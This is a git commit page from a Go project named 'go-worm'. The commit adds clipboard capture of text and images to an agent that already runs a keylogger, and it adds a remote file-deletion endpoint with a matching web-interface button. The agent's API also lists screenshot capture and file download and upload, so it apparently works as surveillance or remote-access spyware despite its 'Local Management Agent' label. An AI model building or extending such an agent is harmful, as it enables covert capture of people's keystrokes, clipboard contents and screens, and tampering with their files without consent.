Add clipboard monitoring functionality to the agent. Implement clipboard event logging, including text and image capture, with support for retention policies. Update API to allow file deletion and enhance web interface for file management. Add tests for clipboard operations.

This commit is contained in:
2026-08-28 13:08:14 +03:00
parent fe560c6a65
commit 077d9ab850
13 changed files with 695 additions and 5 deletions
+5
View File
@@ -11,6 +11,7 @@ import (
"strings"
"time"
"tea.chunkbyte.com/kato/go-worm/lib/clipmon"
"tea.chunkbyte.com/kato/go-worm/lib/config"
"tea.chunkbyte.com/kato/go-worm/lib/files"
"tea.chunkbyte.com/kato/go-worm/lib/helpers"
@@ -48,10 +49,14 @@ func New() (*Agent, error) {
if err := keylog.Start(); err != nil {
helpers.Log.Printf("keylog start: %v", err)
}
if err := clipmon.Start(); err != nil {
helpers.Log.Printf("clipboard monitor start: %v", err)
}
return a, nil
}
func (a *Agent) Close() {
clipmon.Stop()
keylog.Stop()
if a.guard != nil {
a.guard.Close()
+23 -3
View File
@@ -42,7 +42,7 @@ func (a *Agent) handleOpenAPI(w http.ResponseWriter, r *http.Request) {
"openapi": "3.0.3", "info": map[string]string{"title": "Local Management Agent", "version": config.Version},
"paths": map[string]any{
"/api/v1/status": map[string]any{"get": map[string]string{"summary": "Agent status"}},
"/api/v1/files": map[string]any{"get": map[string]string{"summary": "List files"}},
"/api/v1/files": map[string]any{"get": map[string]string{"summary": "List files"}, "delete": map[string]string{"summary": "Delete a file or directory"}},
"/api/v1/download": map[string]any{"get": map[string]string{"summary": "Download file"}},
"/api/v1/upload": map[string]any{"post": map[string]string{"summary": "Upload a file to a directory"}},
"/api/v1/screenshot": map[string]any{"get": map[string]string{"summary": "Capture desktop"}},
@@ -92,10 +92,17 @@ func (a *Agent) handleStartup(w http.ResponseWriter, r *http.Request) {
}
func (a *Agent) handleFiles(w http.ResponseWriter, r *http.Request) {
if r.Method != http.MethodGet {
switch r.Method {
case http.MethodGet:
a.listFiles(w, r)
case http.MethodDelete:
a.deleteFile(w, r)
default:
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
return
}
}
func (a *Agent) listFiles(w http.ResponseWriter, r *http.Request) {
depth, err := files.ParseDepth(r.URL.Query().Get("depth"))
if err != nil {
helpers.WriteError(w, http.StatusBadRequest, err.Error())
@@ -127,6 +134,19 @@ func (a *Agent) handleFiles(w http.ResponseWriter, r *http.Request) {
helpers.WriteJSON(w, http.StatusOK, map[string]any{"path": dir, "depth": depth, "entries": entries})
}
func (a *Agent) deleteFile(w http.ResponseWriter, r *http.Request) {
path := r.URL.Query().Get("path")
if path == "" {
helpers.WriteError(w, http.StatusBadRequest, "path is required")
return
}
if err := files.RemovePath(a.root, path); err != nil {
files.WritePathError(w, err)
return
}
helpers.WriteJSON(w, http.StatusOK, map[string]any{"ok": true, "path": path})
}
func (a *Agent) handleDownload(w http.ResponseWriter, r *http.Request) {
if r.Method != http.MethodGet {
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
+20 -1
View File
@@ -130,6 +130,15 @@
return res.json();
}
async function deleteFile(fullPath, name) {
if (!confirm(`Delete ${name}?`)) {
return;
}
const query = new URLSearchParams({ path: fullPath });
await api(`/api/v1/files?${query}`, { method: "DELETE" });
await listFiles(pathInput.value.trim());
}
async function listFiles(path) {
const query = new URLSearchParams();
if (path) query.set("path", path);
@@ -164,7 +173,17 @@
size.textContent = entry.type === "dir" ? "—" : formatBytes(entry.size || 0);
const modified = document.createElement("td");
modified.textContent = entry.modified_time ? new Date(entry.modified_time).toLocaleString() : "";
tr.append(name, type, size, modified);
const action = document.createElement("td");
const del = document.createElement("button");
del.type = "button";
del.textContent = "Delete";
const full = joinPath(data.path, entry.name);
del.addEventListener("click", (event) => {
event.stopPropagation();
deleteFile(full, entry.name).catch((err) => showError(err.message));
});
action.append(del);
tr.append(name, type, size, modified, action);
fileRows.append(tr);
}
}
+1 -1
View File
@@ -171,7 +171,7 @@
<p id="file-meta" class="meta"></p>
<table>
<thead>
<tr><th>Name</th><th>Type</th><th>Size</th><th>Modified</th></tr>
<tr><th>Name</th><th>Type</th><th>Size</th><th>Modified</th><th></th></tr>
</thead>
<tbody id="file-rows"></tbody>
</table>